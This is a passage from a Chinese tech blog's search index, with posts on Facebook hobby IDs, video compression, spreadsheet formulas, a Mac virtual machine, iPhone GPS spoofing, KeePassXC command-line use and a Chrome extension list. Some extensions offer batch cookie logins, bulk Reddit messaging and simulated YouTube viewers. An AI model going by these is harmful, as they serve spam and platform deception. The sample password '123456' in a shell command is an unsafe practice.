2008733425910588 28 ⛸️ 速度滑冰 2026126060808260 29 ✂️ 手工艺 3146818998665343 30 ✂️ 花边工艺 1801906166605114 31 ✂️ 针绣 2878241722201391 32 ✂️ 缝纫 1916835788413048 33 ✈️ 飞机摄影 2509037849136677 34 ✈️ 跳伞 1925195667562798 35 ✏️ 讽刺画 1937548029634233 36 ✏️ 素描 1988751654494021 37 ✏️ 人体素描 2286883608049237 38 ✏️ 画画 2160258004013648 39 ❄️ 雪地摩托车赛 1921723711210489 40 ❓ 竞猜游戏 2397291026952523 41 🀄 麻将 2468668986507256 42 🃏 解谜 2178141345583155 43 🃏 克里比奇纸牌 2191290677569844 44 🃏 牌类游戏 1470164203086198 45 🃏 魔术 2035178213195009 46 🃏 扑克魔术 1778202965618870 47 🌅 低空跳伞 1984823034934822 48 🌊 冲浪 2488690287824493 49 🌊 趴板冲浪 2380755325328652 50 🌊 浅滩冲浪 2317469101658233 51 🌊 风筝冲浪 1692457740859944 52 🌊 单桨冲浪 1967874026661591 53 🌊 水中有氧运动 2206424259368830 54 🌊 水上滑板 2134628389893392 55 🌊 残疾人铁人三项 2121245314580747 56 🌊 水球 2420507677978690 57 🌊 漂流 1942854875800063 58 🌊 无障碍漂流 2379531582117590 59 🌊 潜水 2504889582885222 60 🌏 旅游 2584324448259404 61 🌏 观光 2147882348630473 62 🌐 学语言 2488123681204843 63 🌱 园艺 1870132589779230 64 🌱 盆景 2200262559985887 65 🌼 种植花卉 2379429208766064 66 🌿 永续农业 1924774600903328 67 🌿 室内园艺 2359332130746866 68 🍄 野外觅食 2116788545052467 69 🍄 真菌和地衣 1942491279121787 70 🍔 烧烤 2062006813920669 71 🍕️ 美食 2292097517518172 72 🍜︎ 吃货 3112848472066070 73 🍞 面包制作 2206825052695609 74 🍪 饼干裱花 1955735454541811 75 🍭 糖果糕点 2339748922767175 76 🍭 糖艺 2333473940059764 77 🍳 烹饪 2430032780358701 78 🍴 美食探店 2364898450247793 79 🎂 蛋糕制作与裱花 1952957581453837 80 🎈 热气球飞行 2048042358608860 81 🎒 背包旅行 2561882120503774 82 🎛️ 自动修音 1990581514312653 83 🎢 坐过山车 2595736453830130 84 🎢 游主题公园 2234336696648142 85 🎣 钓鱼 1935872569841204 86 🎣 飞钓 2316913458320069 87 🎣 深海垂钓 1961069907312297 88 🎤 唱歌 1994489570638083 89 🎤 节奏口技 2292372074171096 90 🎧 听音乐 1537282433041260 91 🎧 音频制作 1965912176818234 92 🎧 音频母带处理 2147785268606062 93 🎨 串珠 2420417034654083 94 🎨 绘画 1989619357787681 95 🎨 静物画 2194971720567609 96 🎨 风景画 1936840209744834 97 🎨 锡蜡铸造 2497593223601133 98 🎨 镶嵌艺术 2466019953468055 99 🎨 艺术 1959934617426648 100 🎨 肖像艺术 2635827056458240 101 🎨 玻璃艺术 1943862372372138 102 🎨 篮筐编织 1643808975719208 103 🎨 纺纱 1694907180614998 104 🎨 细密画 1973139152774839 105 🎨 编织 1940292522719089 106 🎨 网板印染 1813337675431320 107 🎨 丙烯画 2200496136641007 108 🎨 拼贴画 2006555312743279 109 🎨 水彩画 2018802218201240 110 🎨 油画 2018754711504139 111 🎨 版画 1904919482956378 112 🎩 服装设计 2350002131739453 113 🎬 电影制作 1835644379835671 114 🎭 真人角色扮演游戏 2467159669971901 115 🎭 音乐剧 1941579739266051 116 🎭 哑剧表演 1960331760719136 117 🎭 表演 1962420533849959 118 🎭 戏剧表演 1917985558257393 119 🎭 表演艺术 2197619303624229 120 🎭 即兴喜剧表演 1974889069267281 121 🎭 喜剧 2056119724431646 122 🎭 戏剧 1697974940309052 123 🎭 木偶戏 1782782941851111 124 🎭 舞台艺术 2308910479184400 125 🎭 单口喜剧 1889479054496457 126 🎮 电子游戏 1609563305811014 127 🎮 VR/AR 游戏 1938641942857904 128 🎯 软弹气枪 2547127331994779 129 🎯 飞镖 2542869772406672 130 🎯 激光枪战 1847812721996245 131 🎲 角色扮演游戏 2116054845107631 132 🎵 芭蕾舞 2198371223520539 133 🎵 雷击顿音乐 2351405151590545 134 🎵 音乐制作 1955584951216295 135 🎵 音乐表演 2475141322503041 136 🎵 舞蹈 2110103119046545 137 🎵 竞技舞蹈 2348254055216892 138 🎵 高地舞 2151129398308642 139 🎵 阿根廷探戈 2284704801589655 140 🎵 苏格兰乡村舞 2072944289452008 141 🎵 草裙舞 2139268586127065 142 🎵 莫里斯舞 2161905613859443 143 🎵 萨尔萨舞 2184224081664221 144 🎵 行列舞 2175755632540419 145 🎵 西非舞 2593250277415486 146 🎵 维也纳华尔兹 2253928384722618 147 🎵 现代舞 2199501596768996 148 🎵 电子舞曲制作 2350470731634046 149 🎵 波莱罗舞 2226218244137432 150 🎵 爱尔兰舞 2238053259617057 151 🎶 音乐节 2998098680216052 152 🎶 长笛 2009463792514682 153 🎶 街舞 2559735497399791 154 🎶 约德尔唱法 2091654220891851 155 🎶 竖琴 2756349717740270 156 🎷 萨克斯风 2188945217859106 157 🎷 爵士舞 1131609506963196 158 🎸 弹吉他 2265683673451968 159 🎸 贝斯 2176049765795716 160 🎹 钢琴演奏 2023161544394436 161 🎾 网球 1935370933207868 162 🎾 轮椅网球 2553927411344338 163 🏀 篮球 1935469196573005 164 🏀 梦幻篮球 1528940630542511 165 🏀 轮椅篮球 2528025727269507 166 🏀 篮网球 2010779572331592 167 🏁 大脚车 1608119049288776 168 🏁 越野赛车 2035797763130324 169 🏂 单板滑雪 1792083090896807 170 🏅 宠物竞技 2150136631691752 171 🏅 铁人三项 1837552879675784 172 🏅 锻炼 1980929228661335 173 🏆 轮滑德比 2375536895821291 174 🏆 爱尔兰式曲棍球和橄榄球 2469061229802244 175 🏇 骑马 1902140643234007 176 🏈 梦幻足球 2151161454935094 177 🏈 美式橄榄球 2039981876045253 178 🏉 轮椅橄榄球 1998695256850498 179 🏉 英式橄榄球 2095658203788025 180 🏍️ 越野摩托车障碍赛 1995835533836431 181 🏍️ 摩托车越野赛 2039228522803226 182 🏍️ 小轮车竞赛 (BMX) 1985476698236330 183 🏍️ 摩托车公路赛 893713734086221 184 🏍️ 摩托车场地赛 2864111840281351 185 🏍️ 耐力赛 1821147891346566 186 🏎️ 赛车 2079925788741206 187 🏎️ 梦幻赛车 2115365971817963 188 🏎️ 场地拉力赛 2102351423163587 189 🏎️ 拉力赛 2083133505081743 190 🏎️ 卡丁车 1786167354826142 191 🏎️ 肥皂盒车赛 1972718032844752 192 🏐 排球 1979021352187391 193 🏐 沙滩排球 2039440216145017 194 🏐 坐式排球 2446801558724863 195 🏐 躲避球 2430032087014112 196 🏑 草地曲棍球 1946553875422073 197 🏑 冰上扫帚球 1988889114563019 198 🏑 地板球 1929894147107436 199 🏔 攀登 2074714672549389 200 🏔 登山 2792341260791506 201 🏔 登山 1865155570263767 202 🏔 溪降 2223420277702832 203 🏔 抱石 1960019950749330 204 🏔 攀冰岩 1615890298512631 205 🏔 竞技攀登 1714568848648578 206 🏔 传统攀登 1929991177084040 207 🏔 无障碍(残疾人)攀岩 1846276645501797 208 🏕️ 露营 2080956075288534 209 🏙️ 房地产投资 1805064629616281 210 🏡 玩具屋 2452926634724438 211 🏸 羽毛球 2058437427583280 212 🏸 羽毛球 1999871593466414 213 🏹 无障碍(残疾人)箭术 2034751796560634 214 🏹 狩猎 2137539819619103 215 🏹 无障碍狩猎 2044048762342914 216 🏺️ 雕刻 2183016911709674 217 🏺️ 陶瓷 1998584480260291 218 🐈 猫展 2085764364800153 219 🐋 赏鲸 2010295879049273 220 🐎 骑马 2305882872810386 221 🐎 马球 2992444647448527 222 🐎 赛马 2036103313151167 223 🐎 牛仔竞技 2032053533484329 224 🐕 狗展 2033101433391796 225 🐕 赛狗 2063151573732303 226 🐕 狗狗敏捷性比赛 1970324359720206 227 🐠 浮潜 1991862170868754 228 👟 跑步 1944976138942614 229 👟 双人瑜伽 2356487634425765 230 👟 瑜伽 1900567776727129 231 👟 运动鞋收藏 1898758460179166 232 👟 体操 1806931616095752 233 👟 棍网球 2081494871889669 234 👟 摔跤 1880573578722317 235 👟 有氧运动 1960246730677270 236 👟 跑酷 2596178330394172 237 👟 散步 2060249030698811 238 👟 健身 2621858381217703 239 👟 长板 1753409444787070 240 👟 走绳 2027219723990750 241 👟 滑板 1900555686660784 242 👟 藤球 2343265812415066 243 👟 回力球 3025349254157509 244 👟 竞技体操 1947654318656200 245 👟 空中飞人 1993231074095900 246 👟 棒操 1673056282796637 247 👟 艺术体操 2066449556780848 248 👟 极限运动 1989457957782399 249 👟 极限飞盘 1865580330226648 250 👟 田径运动 2130529657025991 251 👟 泡健身房 1773102896123367 252 👟 越野跑 2012769952137506 253 👟 蹦床和单跳 1829257340529553 254 👻 灵异鬼怪 2553872924687171 255 💄 化妆艺术 2370565373013405 256 💄 美容化妆 1965402660180043 257 💅 美甲 2160475874003829 258 💍 珠宝制作 2148664775154133 259 💍 金属探测 1861137637327956 260 💤 睡觉 2091460634281145 261 💥 漫画 2630440323696552 262 💥 漫画书收藏 2086163708118598 263 💬 语言艺术 1991604710876621 264 💭 冥想 1945677052226787 265 💰 硬币收藏 1933301873383691 266 💻 版面设计 2367749766629250 267 💻 编写代码 2123765794341484 268 💻 写博客 2073434099388276 269 💻 制作电子产品 1949256718476457 270 💻 学编程 2527709477246906 271 💼 皮艺 2275389229162647 272 📃 纸艺 1799809343478730 273 📈 投资 2413553172020311 274 📕 装订 2160219727370338 275 📖 阅读 936057119851278 276 📚 读书会 2474168739276238 277 📝 写作 2083986845018080 278 📝 创意写作 1705965192836670 279 📝 诗歌 1852253684873873 280 📫 集邮 2046612448759196 281 📫 集邮 2095372767186649 282 📱 地理藏宝 2021834491195819 283 📸 摄影 1968978593183141 284 📸 微距摄影 2028422630583786 285 📸 人物摄影 2839241022760047 286 📸 大自然摄影 2176069505766272 287 📸 时尚摄影 1796729320456236 288 📸 风景摄影 1697782903659271 289 📸 野生动物摄影 2232599983494263 290 📸 黑白摄影 2355471774526446 291 📹 视频博客 2840739095951676 292 📺 看电视 1856028854496470 293 📽 看电影 1846801878772026 294 🔊 泡夜店 2403230333080860 295 🔎 邮筒寻宝 2040339312701926 296 🔥 烙画 2442592725815314 297 🔦 洞穴探险和潜水 2356450627762938 298 🔨 道具制作 1927661330683539 299 🔭 天文摄影 1971826782898463 300 🔭 观星 1978387402229154 301 🕯 蜡烛制作 2068457496510903 302 🕶 时尚造型 2056242654442599 303 🕹 街机游戏 1997761097005640 304 🖥️ 组装电脑 2054918974568811 305 🖥️ 动画 1763559423749629 306 🖥️ VR 世界构建 2803503936330315 307 🖥️ 3D 建模 2109014069157385 308 🗣 语言和语言学 961648463958731 309 🥁 太鼓 2564790263561202 310 🥁 打鼓 2196835110369070 311 🥁 行进管乐队 1724723167640037 312 🥅 盲人门球 2008533909263004 313 🥋 空手道 1912568512191199 314 🥋 跆拳道 2113508142089457 315 🥋 相扑 1730367927075345 316 🥋 柔道 2413532098688129 317 🥋 合气道 1918705348218829 318 🥋 席拉(马来武术) 2131289703577396 319 🥋 阿尼斯 1926622814081961 320 🥋 卡波耶拉舞 2378887365459077 321 🥋 踢拳 923543347769847 322 🥋 防身术 2082405861839283 323 🥋 武术 1932462620204497 324 🥋 泰拳 2176451512406713 325 🥋 太极 1853139644805151 326 🥋 以色列马珈术 2045848018794213 327 🥋 席拉(马来武术) 1656038921163123 328 🥋 截拳道 2401185489955226 329 🥋 武术(功夫) 1951932511551886 330 🥋 综合格斗 (MMA) 2029993347039630 331 🥋 巴西柔术 2426933150669661 332 🥋 欧洲历史武术 (HEMA) 2000833323327494 333 🥌 轮椅冰壶 2060494884026785 334 🥐 维也纳甜酥面包 2347401108635132 335 🥕 蔬菜园艺 2165103433521141 336 🥗 健康烹饪 1968062163277365 337 🥧 烘焙 2073180822704550 338 🥫 罐装与腌制 1925986074151258 339 🥽 潜水 2369830343067215 340 🦅 驯鹰术 2065688900182015 341 🧣 钩针编织 2339059866164995 342 🧣 编织 2154963807897905 343 🧵 服装缝制 2259977364049488 344 🚐 房车旅行 2127462243942510 345 🚗 汽车改装 2232678110157384 346 🚗 模型汽车 2478127925562310 347 🚗 开车 2145094738901681 348 🚗 车展 2287512461269597 349 🚲 自行车越野赛 2179383645434643 350 🛋 室内设计和装饰 2350002748405990 351 🛍️ 购物 2573832419301242 352 🛠️ 锻造 1798995740211313 353 🛢 绕桶赛 2495979770429250 354 🛣️ 公路旅行 2179005172152257 355 🛩️ 滑翔运动 2170633962999922 356 🛶 划船 1973676366034462 357 🛶 皮划艇 2070267956330028 358 🛶 皮划艇 1982036841834247 359 🛶 支腿皮划艇 1984698268246220 360 🛶 无障碍(残疾人)皮划艇 2184911408198192 361 🛷 雪橇犬比赛 1788509444605858 相关推荐: Facebook 专页类别列表 Facebook 小组徽章 Facebook 背景颜色列表 ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook 爱好列表","feature":"","link":"https://dev-coco.github.io/post/Facebook-Hobbies/","stats":{"text":"9 min read","time":539000,"words":2056,"minutes":9},"date":"2022-05-22 12:30:24","dateFormat":"2022-05-22"},{"content":"这是一款免费、开源、跨平台的视频压缩软件,支持 Windows、macOS、Linux 系统。 官网:https://handbrake.fr/ Github 开源代码:https://github.com/HandBrake/HandBrake 使用方法 拖入视频。 根据视频的尺寸选择通用的参数。 选择视频输出的格式。 选择输出文件的路径和文件名。 点击 Start 按钮后就开始压缩视频了, 在 Dock 栏的应用程序图标会显示百分比格式的进度和剩余时间,输出完成后就会在设置好的路径输出文件。 超高压缩率参数 以下参数仅供参考,非常高的压缩率,但是对视频的质量也会有些影响。 选择 Very Fast 1080p30。 Filters 里的设置参数。 降低 FPS 值到 25,这个值不建议太低,否则视频看起来像有延迟的样子。 使用单声道的音频,并且降低采样率和比特率可以有效降低文件的大小。 压缩效果如下图 ","tags":[{"name":"Windows","slug":"windows","used":true,"link":"https://dev-coco.github.io/tag/windows/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"HandBrake 视频压缩工具","feature":"https://dev-coco.github.io/post-images/HandBrake-Video-Compress.png","link":"https://dev-coco.github.io/post/HandBrake-Video-Compress/","stats":{"text":"1 min read","time":54000,"words":255,"minutes":1},"date":"2022-05-12 14:39:49","dateFormat":"2022-05-12"},{"content":"两个小技巧,防止加行导致的引用偏移。 在引用单元格的时候,经常会遇到在引用的位置增加行,导致引用的位置偏移,没有达到预期的效果。 例如使用 SUM 函数计算 A2 到 A 列的合计。 但是在第一行的下面新增一行的时候,原先引用 A2:A 的位置就会被移动到 A3:A ,这样就会导致新增加的行是无法被 SUM 函数计算。 解决方法一 使用 INDIRECT 函数,以字符串的形式引用单元格。将原先 A2:A 改为 INDIRECT("A2:A"),因为是文本内容,所以无论怎么增加行都不会使引用的位置偏移。 但是这个方式也有一个弊端,在横向移动的时候,引用的列也不会改变。 解决方法二 在使用 INDIRECT 函数的基础上进行改进。 =SUM(INDIRECT(ADDRESS(ROW() + 1, COLUMN())&":"&REGEXREPLACE(ADDRESS(ROW(), COLUMN(), 2), "\\$.+", ""))) 先来拆分出来理解一下这个函数运行的过程。 首先是 ADDRESS(ROW() + 1, COLUMN()),使用 ADDRESS 函数配合 ROW 和 COLUMN 函数获取单元格自身的位置,不过要在 ROW 的位置加上 1,因为预期的效果是引用 A2:A。那么现在已经用 ADDRESS 函数获得了 $A$2,虽然是绝对引用,但并不会影响结果。 再使用 ADDRESS 函数用同样的方法,获取单元格自身的位置,不过在引用模式的参数设置 2,绝对引用行,这样的目的是为了接下来用正则表达式更方便的筛选。这个时候得到了一个 A$1,但是我们需要的是 A 列。 使用 REGEXREPLACE 函数,用正则表达式进行替换,正则表达式语法 \\$.+,获取从 $ 符号往后的所有字符,然后替换成空值。这样就得到了 A 列。 然后将前面的 $A$2 和 A 列用 &(与号)拼接在一起。 ADDRESS(ROW() + 1, COLUMN())&":"&REGEXREPLACE(ADDRESS(ROW(), COLUMN(), 2), "\\$.+", "") 这样就得到了一个引用的范围,$A$2:A。 再使用 INDIRECT 函数引用这个范围。 这样即使在下面添加行,引用的范围也不会偏移,同时横向移动的时候,引用的列也会自动改变成当前的列。 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 单元格引用小技巧","feature":"https://dev-coco.github.io/post-images/Google-Excel-Reference-Tips.png","link":"https://dev-coco.github.io/post/Google-Excel-Reference-Tips/","stats":{"text":"3 min read","time":133000,"words":597,"minutes":3},"date":"2022-05-09 14:44:40","dateFormat":"2022-05-09"},{"content":"Bitdefender 是一款由罗马尼亚的 Softwin 软件公司开发的杀毒软件。 180 天免费体验:活动链接 90 天免费体验:活动链接 仅限新用户,按照步骤使用邮箱注册一个账号即可激活。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"Bitdefender 免费试用活动","feature":"https://dev-coco.github.io/post-images/Bitdefender-Free-Trial.png","link":"https://dev-coco.github.io/post/Bitdefender-Free-Trial/","stats":{"text":"1 min read","time":13000,"words":65,"minutes":1},"date":"2022-05-04 20:17:41","dateFormat":"2022-05-04"},{"content":"Chrome 各类插件离线包合集。 Easy Clean v1.0.0 Manifest V3 一键快捷清理浏览器缓存,同时在关闭浏览器后自动进行缓存清理,以保护您的隐私安全。 下载 使用教程 Tutorial Background Color Post v1.0.4 Manifest V3 发布彩色背景帖文,可以附带图片。支持发布到小组或者时间线。 下载 使用教程 Tutorial 口袋 AI v1.0.1 Manifest V3 提示语侧边栏菜单,可自定义预设提示语。 下载 使用教程 Tutorial Prompt Menu v1.0.0 Manifest V3 提示语侧边栏菜单,可自定义预设提示语。 下载 使用教程 Tutorial Chrome 插件管理 v1.0.4 Manifest V3 点击开关即可控制插件开关和关闭,点击卸载按钮即可卸载插件,在上方的搜索框可以通过关键词搜索插件名称。 下载 自定义新分页链接 v1.0.1 Manifest V3 自定义打开新分页的链接。 下载 使用教程 Tutorial 元素选择器 v1.0.1 Manifest V3 自定义打开新分页的链接。 下载 使用教程 Tutorial 获取 WhatsApp 小组 v1.1.4 Manifest V3 快速列印 WhatsApp 小组链接,获取小组名字和头像。 下载 获取 Telegram 小组 v1.0.0 Manifest V3 快速列印 Telegram 小组链接,获取小组名字和头像。 下载 检测网页语言比例 v1.0.8 Manifest V3 检测网页语言比例,显示 Facebook 前 15 个贴文发布时间和点赞数量。 下载 显示图片标签 v1.1.1 Manifest V3 显示 Facebook 帖子图片中的 alt 标签。 下载 Skype 自动回复 v1.0.3 Manifest V2 Skype 自动回复用户自定义消息。 下载 使用教程 批量下载头像 v1.0.3 Manifest V3 这个插件可以设置年龄和性别,然后生成对应的头像。这些头像是由机器生成出来的,并不存在这个世界上,所以不会有版权和肖像权的问题,可以放心使用。 下载 使用教程 隐藏 WhatsApp 弹窗 v1.0.0 Manifest V3 隐藏 “您的电脑没有足够的空间” 弹窗。 下载 丝滑滚动 v1.0.1 Manifest V3 在 Facebook 大量滚动页面的时候,依然可以保持页面丝滑滚动,不会卡顿。 下载 修改浏览器标识 v1.0.3 Manifest V2 修改浏览器标识,模拟不同的设备请求网页。 下载 Timed-Reminders v1.0.2 Manifest V2 定时提醒,语音播报。模拟 YouTube 真实用户观看视频。 下载 Browser Resize v1.0.1 Manifest V3 根据配置自定义浏览器窗口大小和坐标。 下载 使用教程 日程记录 v1.0.5 Manifest V3 用来记录每个日程的时间并且记录。 下载 使用教程 ChatGPT Prompt v1.0.6 Manifest V2 自定义预设 ChatGPT 提示语。 下载 使用教程 Cookies Login v1.0.0 Manifest V3 使用 Cookies 批量登录账号。 下载 使用教程 Reddit 批量发送消息 v1.0.7 Manifest V3 自动化批量给指定用户发送消息。 下载 使用教程 Reddit_CN v1.0.1 Manifest V3 Reddit 界面非官方中文汉化。 下载 YouTube 自动回复 v1.0.9 Manifest V3 YouTube 自动回复视频和社区帖下的评论。 下载 使用教程 修复电子表格分页限制 v1.0.1 Manifest V3 解决超过 100 人同时编辑电子表格的限制。 下载 使用教程 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Chrome 插件合集","feature":"","link":"https://dev-coco.github.io/post/Chrome-Extension-Collection/","stats":{"text":"4 min read","time":202000,"words":865,"minutes":4},"date":"2022-05-02 20:40:52","dateFormat":"2022-05-02"},{"content":"目前在市面上为数不多既支持 M1 芯片而且又免费的虚拟机软件。 本文仅对实用软件推荐,请自行甄别软件安全性。 下载 UTM 虚拟机 下载地址:https://mac.getutm.app/ 下载好后打开 UTM.dmg 文件,将图标拖到右侧的 Applications 文件夹。 下载镜像文件 打开 UTM 虚拟机,点击访问 UTM 镜像库。 M1 芯片安装虚拟机,目前只支持 ARM 架构,所以需要选择一个支持 ARM 构架的镜像,下面就以 Windows 11 为例。 申请 Windows 预览体验计划 打开链接:https://insider.windows.com/zh-cn/register 阅读完条款后,勾选同意条款,再点击立即注册。 点击立即开始外部测试后,就已经申请好了预览体验的权限。 打开链接:https://www.microsoft.com/en-us/software-download/windowsinsiderpreviewARM64 点击蓝色的按钮下载镜像文件。 下载 SPICE Guest Tools 工具 打开链接:https://mac.getutm.app/support/ 点击 Download 开始下载。 创建虚拟机 打开 UTM 虚拟机,点击新建一个虚拟机。 选择虚拟化。 操作系统选择 Windows。 选择刚才下载好的 Windows 11 磁盘镜像,vhdx 后缀文件。 根据电脑配置自定义使用的内存和 CPU 核心数。 剩下的步骤按照默认设置,下一步就可以了。完成后运行虚拟机。 虚拟机运行后按照界面说明的步骤设置即可,当设置到网络这个步骤的时候会发现没有可选的项目。 键盘按 Shift + F10 打开命令提示符,输入 OOBE\\BYPASSNRO 然后会自动重启系统。当再次设置到网络这个步骤的时候,会多出一个 I don't have internet 选项。 点击 Continue with limited setup 选项。 全部设置好,进入系统后,这个时候是没有网络的,还需要进一步的设置。 选择磁盘工具,加载 SPICE Guest Tools 工具。 在 D 盘找到 spice-guest-tools-xxx.exe 文件并且运行,安装完成后重启系统,然后就可以正常联网了。 ","tags":[{"name":"Windows","slug":"windows","used":true,"link":"https://dev-coco.github.io/tag/windows/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"MacOS M1 芯片安装虚拟机","feature":"https://dev-coco.github.io/post-images/M1-Chip-Install-VM.png","link":"https://dev-coco.github.io/post/M1-Chip-Install-VM/","stats":{"text":"2 min read","time":118000,"words":531,"minutes":2},"date":"2022-04-20 05:09:12","dateFormat":"2022-04-20"},{"content":"设备无需越狱即可自定义修改 GPS 定位。 打开 Xcode,点击 Create a new Xcode project。 选择 iOS 然后创建一个 App。 自定义 Product Name,设置项目的名字。 在当前项目添加一个文件。 选择 GPX File。 创建项目。 在 lat 和 long 可以设置经纬度参数,name 是对应地理位置的名字。 在 Google 地图上右键获取指定位置的经纬度。 使用数据线将 iPhone 连接上电脑,然后在 Xcode 选择自己的设备。 在 Signing & Capabilities 点击 Add Account… 添加一个账号。 按照步骤登陆 Apple ID。 选择对应的 Apple ID 后编译代码,对应用程序进行签名。 输入开机密码,点击始终允许,在此过程中设备需要解锁屏幕。 如果是第一次运行,会出现下图的错误。 然后在iPhone上会显示「不受信任的开发者」。 通用 > VPN 与 设备管理 > 开发者 APP > 信任。 在 Xcode 再次运行程序就可以正常运行了。 把设备的定位打开,隐私 > 定位服务 > 定位服务。 注意:在使用的过程中 iPhone 需要打开编译好的 App。如果要修改不同的经纬度,需要在 Xcode 修改好经纬度的值,然后重新编译安装到 iPhone 上运行才能生效。 ","tags":[{"name":"iOS","slug":"ios","used":true,"link":"https://dev-coco.github.io/tag/ios/"}],"title":"iPhone 免越狱虚拟定位","feature":"https://dev-coco.github.io/post-images/iPhone-Fake-Location.png","link":"https://dev-coco.github.io/post/iPhone-Fake-Location/","stats":{"text":"2 min read","time":75000,"words":343,"minutes":2},"date":"2022-04-09 22:53:45","dateFormat":"2022-04-09"},{"content":"加载大量 Facebook 帖子的时候,浏览器就会出现卡顿的情况。 在 Facebook 加载帖子的时候,每一个帖子都会新增 div 元素。 每个父元素下面会增加很多的子元素,这样就会使用大量的资源去渲染,造成浏览器卡顿。 那么可以将下面的子元素清空掉,并且保持原贴的高度,这样就可以解决大量的元素造成卡顿的问题了。 注意:移除掉的元素不会再恢复回来了。 源码链接:https://github.com/dev-coco/Smooth-Scroll ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"优化 Facebook 浏览速度","feature":"https://dev-coco.github.io/post-images/Facebook-Browsing-Boost.png","link":"https://dev-coco.github.io/post/Facebook-Browsing-Boost/","stats":{"text":"1 min read","time":31000,"words":150,"minutes":1},"date":"2022-04-09 09:05:27","dateFormat":"2022-04-09"},{"content":"申请 Google API 密钥的方法。 申请链接:https://console.cloud.google.com/apis/ 在上方点击选择项目,如果之前有创建过,点击项目的名称。 点击右上角的新建项目。 自定义项目名称,点击创建。 点击左侧的凭据。 在上方点击创建凭据,选择 API 密钥。 这样就申请好 Google 的API 密钥了。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"申请 Google API 密钥","feature":"https://dev-coco.github.io/post-images/Create-Google-API-Key.png","link":"https://dev-coco.github.io/post/Create-Google-API-Key/","stats":{"text":"1 min read","time":21000,"words":97,"minutes":1},"date":"2022-04-05 08:08:47","dateFormat":"2022-04-05"},{"content":"自助问答客服是一个根据关键词快速回复自定义内容的网页。 源码:https://github.com/dev-coco/Customer-Service 预览效果:问题自助解答 配置 创建一个 Google 表格,表格的权限要设置成查看权限。 在表格的 A 列输入关键词,如果有多个关键词,可以使用换行设置多个。 在表格的 B 列输入回复的内容。B 列的内容可以使用 HTML 标签。 如果在 B 列放入可点击的关键词,需要在 class 属性添加 k,例如: <span class="k">可点击关键词</span> 下面是表格里面设置的例子,A 列的关键词有「初始化」、「菜单」和「帮助」,那么输入任意一个关键词的时候,就会触发 B 列对应的内容。 然后「初始化」关键词会回复对应的内容,里面有一个可点击关键词,所以点击后会触发第二行「脚本基础教程目录」对应的内容。 <span class="k">Google 脚本基础教程目录</span> 效果如下 如果需要使用超链接,使用 HTML 中的 a 标签即可。 <a href="链接">关键词</a> 成品 将 Google 表格的 ID 替换下面的链接即可使用。 https://dev-coco.github.io/other/Customer-Service.html?sheet=这里输入表格链接 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"自助问答客服","feature":"https://dev-coco.github.io/post-images/Customer-Service.png","link":"https://dev-coco.github.io/post/Customer-Service/","stats":{"text":"2 min read","time":82000,"words":358,"minutes":2},"date":"2022-04-04 10:08:24","dateFormat":"2022-04-04"},{"content":"使用命令行批量创建 KeePass 数据库。 最近需要创建多个 KeePass 数据库,但是一个一个手动创建太花时间了,后来发现原来 KeePassXC 内置有 CLI 命令行工具。路径在:/Applications/KeePassXC.app/Contents/MacOS/keepassxc-cli 创建 KeePassXC 数据库 语法如下: printf "%s\\n%s" "密码" "密码" | /Applications/KeePassXC.app/Contents/MacOS/keepassxc-cli db-create -p 文件名字.kdbx 命令详解: db-create 是用来创建数据库的参数。 Usage: keepassxc-cli db-create [options] database Create a new database. Options: -q, --quiet Silence password prompt and other secondary outputs. -k, --set-key-file <path> Set the key file for the database. -p, --set-password Set a password for the database. -t, --decryption-time <time> Target decryption time in MS for the database. -h, --help Display this help. Arguments: database Path of the database. 使用 -p 参数设置密码,在后面设置创建的文件名字,以 kdbx 结尾。 /Applications/KeePassXC.app/Contents/MacOS/keepassxc-cli db-create -p demo.kdbx Enter password to encrypt database (optional): Repeat password: 接下来会要求重复输入两遍密码,然后就创建完成了。 Successfully created new database. 使用 printf 命令预设好密码。 %s 是格式代替符,会输出字符串。 \\n 代表换行。 后面引号的参数就是 %s 要输出的内容。 printf "%s\\n%s" "123456" "123456" 意思就是 %s 输出第一行密码 123456,然后 \\n 换行,第二个 %s 输出第二行密码 123456。 设置 KeePassXC 数据内的项目 语法如下: printf "%s\\n%s" "KeePassXC密码" "密码" | /Applications/KeePassXC.app/Contents/MacOS/keepassxc-cli add "文件名.kdbx" --u "用户名" --url "链接" -p "标题" 命令详解: add 是用来新增数据库项目的参数。 Usage: keepassxc-cli add [options] database entry Add a new entry to a database. Options: -q, --quiet Silence password prompt and other secondary outputs. -k, --key-file <path> Key file of the database. --no-password Deactivate password key for the database. -y, --yubikey <slot[:serial]> Yubikey slot and optional serial used to access the database (e.g., 1:7370001). -u, --username <username> Username for the entry. --url <URL> URL for the entry. -p, --password-prompt Prompt for the entry's password. -g, --generate Generate a password for the entry. -L, --length <length> Length of the generated password -l, --lower Use lowercase characters -U, --upper Use uppercase characters -n, --numeric Use numbers -s, --special Use special characters -e, --extended Use extended ASCII -x, --exclude <chars> Exclude character set --exclude-similar Exclude similar looking characters --every-group Include characters from every selected group -h, --help Display this help. Arguments: database Path of the database. entry Path of the entry to add. 在 add 参数后面需要设置一个数据库文件。 --u 参数设置用户名。 --url 参数设置链接,如果没有链接,引号内可以留空,或者不使用这个参数。 -p 参数设置标题。 /Applications/KeePassXC.app/Contents/MacOS/keepassxc-cli add "demo.kdbx" --u "Admin" --url "https://dev-coco.github.io" -p "测试内容" Enter password to unlock demo.kdbx: Enter password for new entry: 接下来会要求输入数据库的密码,然后再输入项目的密码。 Successfully added entry 测试内容. 自动化生成器 首先,在 Excel 